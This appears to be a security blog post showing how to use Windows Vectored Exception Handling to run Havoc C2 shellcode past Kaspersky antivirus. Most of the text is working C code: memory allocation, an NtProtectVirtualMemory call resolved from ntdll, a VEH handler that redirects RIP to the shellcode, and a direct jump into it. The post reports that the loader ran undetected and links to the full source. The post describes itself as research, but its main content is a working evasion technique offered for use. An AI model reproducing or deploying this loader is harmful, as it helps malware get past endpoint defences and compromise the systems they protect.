Redirecting RIP: How VEH Leaves Modern Antiviruses in the Dust
VEH can be useful in security research and bypassing certain security mechanisms, including antiviruses or EDR systems, as it allows custom handlers to be implemented at a low level.
What Is VEH (Vectored Exception Handling) ?
Vectored Exception Handling (VEH) is a feature in Windows that provides an advanced method for handling exceptions at a global level in an application. Unlike Structured Exception Handling (SEH), which is frame-based (tied to specific functions or blocks of code), VEH allows you to register exception handlers that are called regardless of where an exception occurs in the call stack.
Why VEH For Evasion ?
With VEH, malware can register a custom exception handler that intercepts exceptions before they reach the antivirus. The exception handler can either suppress the exception, modify it, or redirect it, preventing the antivirus from detecting any suspicious activity.
Let's implement VEH to register a custom exception and use that to execute our Havoc C2's shellcode in Kaspersky Antivirus to see if it can execute shellcode without triggering an alarm.
Allocate Memory for Shellcode:
shellcode_memory = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!shellcode_memory) {
printf("VirtualAlloc failed: %d\n", GetLastError());
return -1;
}
memcpy(shellcode_memory, shellcode, shellcode_size);
VirtualAlloc
reserves and commits a block of memory, initially with read-write permissions. The shellcode is copied into the allocated memory using memcpy
.
Resolving NTAPI Function: NtProtectVirtualMemory:
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
NtProtectVirtualMemory = (NtProtectVirtualMemory_t)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
Change Memory Protection:
ULONG old_protect = 0;
SIZE_T region_size = shellcode_size;
NTSTATUS status = NtProtectVirtualMemory(
GetCurrentProcess(),
&shellcode_memory,
®ion_size,
PAGE_EXECUTE_READ,
&old_protect
);
if (!NT_SUCCESS(status)) {
printf("NtProtectVirtualMemory failed: 0x%X\n", status);
return -1;
}
printf("Memory protection changed to executable\n");
The memory protection is switched to PAGE_EXECUTE_READ,
We are all set now; all we need to do is register the VEH handler to intercept access violations.
Defining and Registering the VEH Handler:
LONG CALLBACK VehHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
printf("Entering VEH Handler\n");
ULONG old_protect = 0;
SIZE_T region_size = shellcode_size;
NTSTATUS status = NtProtectVirtualMemory(
GetCurrentProcess(),
&shellcode_memory,
®ion_size,
PAGE_EXECUTE_READ,
&old_protect
);
if (!NT_SUCCESS(status)) {
printf("NtProtectVirtualMemory failed: 0x%X\n", status);
return EXCEPTION_CONTINUE_SEARCH;
}
printf("Memory protection changed to executable\n");
ExceptionInfo->ContextRecord->Rip = (DWORD64)shellcode_memory;
printf("RIP redirected to shellcode\n");
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
The VehHandler
function is the core of this implementation, checking if the exception is an EXCEPTION_ACCESS_VIOLATION
, changing the memory protection of the shellcode to executable if necessary, redirecting the program counter (RIP) to the shellcode’s address, and returning EXCEPTION_CONTINUE_EXECUTION
to resume execution from the shellcode.
Finally Executing Shellcode:
printf("Executing shellcode...\n");
((void(*)())shellcode_memory)();
Finally, the program jumps to the shellcode by casting its memory address to a function pointer and calling it.
So Instead of creating a new thread (using something like CreateThread
or NtCreateThreadEx
) to execute the shellcode, this code manipulates the Instruction Pointer (RIP) to transfer execution directly to the shellcode.
Here's How and Why:
The Instruction Pointer (RIP) determines the next instruction the CPU will execute. By directly modifying the RIP in the context record of the process via the VEH handler, the program seamlessly redirects the CPU to execute the shellcode, bypassing the need to explicitly create a new thread. This technique is less detectable compared to thread creation, as thread creation often triggers monitoring by EDRs (Endpoint Detection and Response solutions) and antivirus software. I’m not claiming that this will evade EDRs; I’m simply demonstrating a basic example of the VEH. For more advanced VEH implementations, I will cover those in upcoming blogs. Until then, I’ll mention some blogs that covered advanced usage of VEH for EDR evasion.
It’s time to test our code. Note that I haven’t implemented any encryption algorithm, so you’ll need to handle that yourself. I’m storing Havoc’s shellcode as C-type arrays in a shellcode.h
file. Now, let’s compile and execute the code on a machine with Kaspersky installed.
Our little code performed well. Keep in mind that this is just a basic introduction to VEH. Please explore the links below to learn about more advanced usages of VEH. Feel free to review the code via the link provided at the end of the blog and experiment with it to implement more advanced VEH techniques.
Source Code:
github.com/ZwNagi/VEH-For-Shellcode
References:
bruteratel.com/research/2024/10/20/Exception-Junction
securityintelligence.com/x-force/using-veh-for-defense-evasion-process-injection